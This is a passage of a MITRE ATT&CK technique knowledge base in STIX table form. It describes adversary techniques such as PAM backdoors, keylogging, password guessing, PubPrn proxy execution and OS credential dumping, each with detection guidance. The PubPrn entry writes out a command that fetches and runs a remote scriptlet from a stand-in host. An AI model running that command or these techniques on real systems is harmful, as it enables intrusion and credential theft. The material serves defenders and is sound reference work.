"description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.",
"external_id": null,
"source_name": "PAM Backdoor",
"url": "https://github.com/zephrax/linux-pam-backdoor"
},
{
"description": "Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020.",
"external_id": null,
"source_name": "PAM Creds",
"url": "https://x-c3ll.github.io/posts/PAM-backdoor-DNS/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS"
] | 2.0 |
attack-pattern | attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-06-16T18:42:20.734000" | "2021-03-08T10:33:02.128000" | Revert Cloud Instance | An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.
Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1578.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1578/004"
},
{
"description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.",
"external_id": null,
"source_name": "Tech Republic - Restore AWS Snapshots",
"url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/"
},
{
"description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.",
"external_id": null,
"source_name": "Google - Restore Cloud Snapshot",
"url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS"
] | 1.1 |
attack-pattern | attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:39:33.966000" | "2021-10-17T16:35:09.878000" | Gather Victim Host Information | Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).
Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1592",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1592"
},
{
"description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "ATT ScanBox",
"url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
},
{
"description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "ThreatConnect Infrastructure Dec 2020",
"url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.1 |
attack-pattern | attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:58:58.738000" | "2021-04-15T03:48:37.628000" | Digital Certificates | Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.
Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1596.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1596/003"
},
{
"description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "SSLShopper Lookup",
"url": "https://www.sslshopper.com/ssl-checker.html"
},
{
"description": "Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Medium SSL Cert",
"url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:58:11.791000" | "2023-10-01T14:01:12.167000" | Keylogging | Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)
Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:
* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.
* Reading raw keystroke data from the hardware buffer.
* Windows Registry modifications.
* Custom drivers.
* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1056.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1056/001"
},
{
"description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.",
"external_id": null,
"source_name": "Talos Kimsuky Nov 2021",
"url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"
},
{
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Cisco Blog Legacy Device Attacks",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
},
{
"description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
"external_id": null,
"source_name": "Adventures of a Keystroke",
"url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux",
"Network"
] | 1.2 |
attack-pattern | attack-pattern--09b008a9-b4eb-462a-a751-a0eb58050cd9 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2024-03-29T16:59:10.374000" | "2024-04-15T23:42:39.831000" | File/Path Exclusions | Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions)
Adversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than tampering with tool settings to add a new exclusion (i.e., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) and other [Discovery](https://attack.mitre.org/tactics/TA0007)/[Reconnaissance](https://attack.mitre.org/tactics/TA0043) activities to both discover and verify existing exclusions in a victim environment. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1564.012",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/012"
},
{
"description": "Microsoft. (2024, February 27). Contextual file and folder exclusions. Retrieved March 29, 2024.",
"external_id": null,
"source_name": "Microsoft File Folder Exclusions",
"url": "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
|
attack-pattern | attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-04T19:24:27.774000" | "2023-08-14T17:54:22.970000" | Linux and Mac File and Directory Permissions Modification | Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).
Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1222.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1222/002"
},
{
"description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
"external_id": null,
"source_name": "Hybrid Analysis Icacls1 June 2018",
"url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
},
{
"description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
"external_id": null,
"source_name": "Hybrid Analysis Icacls2 May 2018",
"url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
},
{
"description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
"external_id": null,
"source_name": "20 macOS Common Tools and Techniques",
"url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include <code>chmod +x</code>, <code>chmod -R 755</code>, and <code>chmod 777</code>.(Citation: 20 macOS Common Tools and Techniques)
Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS",
"Linux"
] | 1.2 |
attack-pattern | attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T18:38:22.617000" | "2023-10-16T16:57:41.743000" | Password Guessing | Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.
Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)
Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:
* SSH (22/TCP)
* Telnet (23/TCP)
* FTP (21/TCP)
* NetBIOS / SMB / Samba (139/TCP & 445/TCP)
* LDAP (389/TCP)
* Kerberos (88/TCP)
* RDP / Terminal Services (3389/TCP)
* HTTP/HTTP Management Services (80/TCP & 443/TCP)
* MSSQL (1433/TCP)
* Oracle (1521/TCP)
* MySQL (3306/TCP)
* VNC (5900/TCP)
* SNMP (161/UDP and 162/TCP/UDP)
In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)
In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1110.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1110/001"
},
{
"description": "Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.",
"external_id": null,
"source_name": "Trend Micro Emotet 2020",
"url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi"
},
{
"description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
"external_id": null,
"source_name": "Cylance Cleaver",
"url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
},
{
"description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
"external_id": null,
"source_name": "US-CERT TA18-068A 2018",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers",
"Network"
] | 1.5 |
attack-pattern | attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-03T16:49:57.788000" | "2022-04-18T14:55:35.817000" | PubPrn | Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1216.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1216/001"
},
{
"description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.",
"external_id": null,
"source_name": "pubprn",
"url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn"
},
{
"description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.",
"external_id": null,
"source_name": "Enigma0x3 PubPrn Bypass",
"url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 2.0 |
attack-pattern | attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T17:05:43.562000" | "2021-04-15T03:44:43.900000" | Purchase Technical Data | Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.
Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1597.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1597/002"
},
{
"description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "ZDNET Selling Data",
"url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:19.735000" | "2024-04-18T23:47:41.667000" | OS Credential Dumping | Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.
Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1003"
},
{
"description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
"external_id": null,
"source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
"url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
},
{
"description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
"external_id": null,
"source_name": "AdSecurity DCSync Sept 2015",
"url": "https://adsecurity.org/?p=1729"
},
{
"description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
"external_id": null,
"source_name": "Microsoft DRSR Dec 2017",
"url": "https://msdn.microsoft.com/library/cc228086.aspx"
},
{
"description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
"external_id": null,
"source_name": "Microsoft NRPC Dec 2017",
"url": "https://msdn.microsoft.com/library/cc237008.aspx"
},
{
"description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
"external_id": null,
"source_name": "Microsoft GetNCCChanges",
"url": "https://msdn.microsoft.com/library/dd207691.aspx"
},
{
"description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
"external_id": null,
"source_name": "Microsoft SAMR",
"url": "https://msdn.microsoft.com/library/cc245496.aspx"
},
{
"description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
"external_id": null,
"source_name": "Powersploit",
"url": "https://github.com/mattifestation/PowerSploit"
},
{
"description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
"external_id": null,
"source_name": "Samba DRSUAPI",
"url": "https://wiki.samba.org/index.php/DRSUAPI"
},
{
"description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
"external_id": null,
"source_name": "Harmj0y DCSync Sept 2015",
"url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
},
{
"description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
"external_id": null,
"source_name": "Brining MimiKatz to Unix",
"url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | ### Windows
Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.
Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.
On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)
### Linux
To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/<pid>/maps`, where the `<pid>` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS"
] | 2.2 |
attack-pattern | attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:40.542000" | "2023-10-12T21:17:14.868000" | Shared Modules | Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).
Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.
